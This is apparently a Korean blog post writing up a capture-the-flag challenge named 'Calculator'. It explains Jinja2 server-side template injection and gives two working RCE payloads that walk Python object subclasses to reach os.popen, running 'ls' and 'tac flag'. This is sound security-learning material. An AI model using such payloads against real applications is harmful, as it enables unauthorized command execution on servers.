웹해킹/+

Calculator

육키티 2025. 1. 24. 01:46

 

위 그림 참고해서 SSTI 취약점을 확인해보자 

jinja2 엔진을 사용한다. SSTI는 엔진에 맞는 라이트업을 찾아보았다. 

 

참고자료 정리는 접은 글 

더보기
 

Server-Side Template Injection(SSTI)

라온화이트햇 핵심연구팀 임재연

core-research-team.github.io

 

*SSTI

템플릿을 사용하여 웹 어플리케이션을 구동

-> 이때 user input이 템플릿 구문으로 인식되면 RCE까지 이어질 수 있는 취약점 

 

템플릿이 여러개라서 문제마다 구문이 다름 보통은 {{4*4}}이던데 이 문제는 대괄호 

[[...]] 구문은 값을 출력해줌 %나 #을 이요해서 주석, 반복문 등으로도 구문 삽입 가능 

 

아래서 "".__class__에 접근할 건데 이게 뭐냐면 

python 특수 attributes중에 하나 아래서는 클래스의 __base__를 참조했는데 class object에 접근 

그리고 그걸 다시 subclasses()로 받으면 object의 서브 클래스 목록을 출력받을 수 있다 

이중에서 원하는 클래스 끌어다가 RCE 가능 

 

보통은 109 index 값 가져와서 popen으로 명령어 실행 
109 index는 codecs.IncrementalDecoder 

 

[["".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('ls').read()]]

 

[["".__class__.__base__.__subclasses__()[109].__init__.__globals__['sys'].modules['os'].popen('tac flag').read()]]

이렇게 하면 flag가 나온다.